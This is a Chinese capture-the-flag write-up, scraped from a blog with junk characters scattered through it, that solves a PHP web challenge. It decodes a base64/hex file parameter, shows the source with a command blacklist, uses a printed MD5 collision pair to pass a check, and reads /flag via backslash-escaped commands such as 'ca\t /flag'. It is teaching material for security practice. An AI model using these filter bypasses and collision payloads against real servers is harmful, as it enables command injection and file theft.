|
. T6 s7 H% i' }# g
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
' ~! n( v% J: o: f- ^<p> </p>
, R+ [" T- V2 _. K" [ i: X% B<p> </p>
' s# B2 Y0 j7 O; V. E8 f! a6 U<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
- P4 f p! w" t5 {2 |<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>! M+ f/ Z: y7 D& G4 h _9 b6 x4 m
<p> </p>
) ?0 d+ I" {' z<p> </p>
- p+ Z8 D+ j' T<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>+ s, R5 t3 F" Z) e7 T; v
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
" y" f+ o6 e% E+ c O' u# R<p>首先把那个进行一次base64位解码</p>1 W1 j: ~9 e" z# _) T% U& B/ p! w
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>; L1 Z. w6 q# j; A4 l3 U- O
<p> </p>8 r0 b4 f+ {! F; r
<p> </p>% R q5 I, i d& @! [9 p( p
<p> 解码一次以后还是很像base64编码,于是又解码一次</p>
; M" A" u w' P9 s$ T<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>; C- ?# P1 z$ \
<p> </p>
; A/ D* ^) A, Y" s h* v) m<p> </p>
; [( `. N, V! j2 `8 j8 h3 V8 ^% V<p> 然后用hex解码一下得到了</p># s5 ?' m q: }6 F* F
<div class="cnblogs_Highlighter">
+ n) C1 H( u) |/ S* H# a1 q<pre class="brush:sql;gutter:true;">555.png1 H# C- R" p0 m' A9 y3 G
</pre>
1 g$ g& f) |1 y6 i5 `" `</div>
: ~2 K$ R- T4 F& L9 m+ p0 X! B/ i<p> 用同样的方法把index.php进行加密</p>
2 ]! Q& e3 j2 f$ H<div class="cnblogs_Highlighter">
5 j2 h6 `4 V! [; D+ E4 L<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3& }4 U3 I2 y( x/ d
</pre>
" g% e$ d+ a4 L8 O3 o& ?</div>
- c7 Q- d' s0 ?<p> 然后输入到地址栏</p>' U0 X1 W9 Y s) q0 L0 j0 O
<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>
( E* {9 v( z( D<div class="cnblogs_code">
5 c3 f$ u' J$ {! w& q j; @<pre><?<span style="color: rgba(0, 0, 0, 1)">php# |0 e6 V: n5 x+ i0 ~
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
8 E6 Q+ t! `% l4 s2 t</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
: P7 p# Q( j9 x9 z) G/ \1 Z</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];" q$ n9 T: S" `3 W* V
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) ! J* _$ O5 J0 E7 D
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);3 |. C$ H7 t6 v* k& C( `
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
z5 G8 W" ^8 K& ?& ~
& M0 F' ~; i- q) S0 c; y</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);! W, [+ a2 D( p, z7 I- \9 D# E
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {1 [# S; x3 C# R4 a
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;$ I! f7 B6 Q L6 ~/ ^3 R O7 w0 m
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);0 P+ y2 S; s6 t3 Y6 s2 d1 [
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
" W, i; j- V$ \) R6 J1 Y0 _1 v </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));+ h; J0 U# `3 o
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
' k- n; t1 z$ d+ S6 J </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;& ^$ e' @6 V f d4 e( F) Q* P! k
}% Y+ T! r& I( P* j# h
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;% B2 z* k7 p0 r" Z: E" H X ~
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
) m8 t. J$ y. v1 V+ W' D</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {- r9 _5 N$ N% K
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
( W7 ?' e- ?- w/ W </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;" s" I8 e6 o1 D
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
! w5 P* r" Q5 F+ ~8 h* F </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {; E- u- |8 W: }; M: H
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;5 Y8 R: ~8 d7 x7 v
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {/ q, C1 \) Q, Z+ b. b
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);: @' ~1 W+ u" L) i! R, i
}; x$ y/ {$ g; d
}
5 n L, w3 t) p, t
$ ~4 z% x, p/ J. I! f</span>?># N d" P. w2 B' H
<html>+ k; m! K3 s) o- L! t& o
<style><span style="color: rgba(0, 0, 0, 1)">
; M/ g" w0 ?5 K body{- f: q' J5 Q f4 N
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
0 R# b& O# q" Q5 ]( P# m8 r0 S: v background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;/ S: V0 ]' v& N0 g) Y
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;: u1 h5 L. y. J5 Q% ~ _
background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
& Y. {! w- @- U4 F<span style="color: rgba(0, 0, 0, 1)">}6 Q+ h/ M l7 y
</span></style>
1 p7 o9 e/ j2 z' q6 o% Z<body>9 z( |8 b* ?" z' o& U" T
</body>& ^+ F+ Q8 `/ s( F% r, f5 q
</html></pre>
' d6 D+ S# r5 s" B</div>
( G" G! N; N2 T4 C4 B<p>结合前面的推断,关键代码就在</p>* m' r! S+ t- l- }2 i
<div class="cnblogs_code">/ A8 p8 `- A3 {( H/ Z
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {! ~5 _( p7 F! e5 {; K+ e) L
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;2 T# }7 w5 Y( |; @6 [
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
4 {" H7 e# n" M; `0 q/ U </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);% h7 H5 H' z/ v7 C0 s3 c( ~
}</span></pre>
) E+ \9 M- ~" s) }# R</div>0 e' V- G8 [8 D/ W: H. I
<p>这种MD5是md5强碰撞</p>4 N b% F$ e; e. _2 x" X6 t4 E
<div class="cnblogs_Highlighter">1 y) a/ f$ E! f! Q. C
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2; N. H" K8 O) H
</pre>
0 H' ~& o3 C: I5 E! M</div>0 r8 ~, B; q9 \
<div class="cnblogs_Highlighter">
: @- q# s& W- e* O* Z' g# T K<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
7 h& @6 Q( i ]# f9 X$ N% m7 {! k</pre>
0 F8 m$ B# z r</div>" Z% y0 q. A! _
<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>+ _6 D0 b% y( O( f, J4 E
<p>于是采用payload:</p>' D' m8 R" |7 g9 A1 r
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
1 Y0 S- S) s& o* @$ L<p> </p>" E V7 t* |( R# s7 `/ t% }: s
<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>1 {1 b7 b B/ e/ k' A+ g5 V
<p>ls和l\s在命令执行的时候结果是一样的。</p>
, R& K# I* \/ P2 b4 ^' C$ E<p>然后发现根目录里面有/flag</p>5 z) m! ~/ v: ~
<p>于是payload:</p> d) u, D* |/ i" K0 q/ u
<div class="cnblogs_Highlighter">
' d3 @* ~$ n( H6 I" ~: [<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
# U+ @" m' t6 h* G; E- x0 s</pre>- O# A m0 s+ _1 U2 a* V% P* |! B
</div>0 L8 U5 x" J) G: B
<p> 对于这个题目,因为他没有屏蔽sort和dir</p>
5 i$ V/ `; p" I% I; y<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>3 ^2 U1 \0 a' \+ G
<p> </p>8 K- f S# o4 c1 f' Y
|
|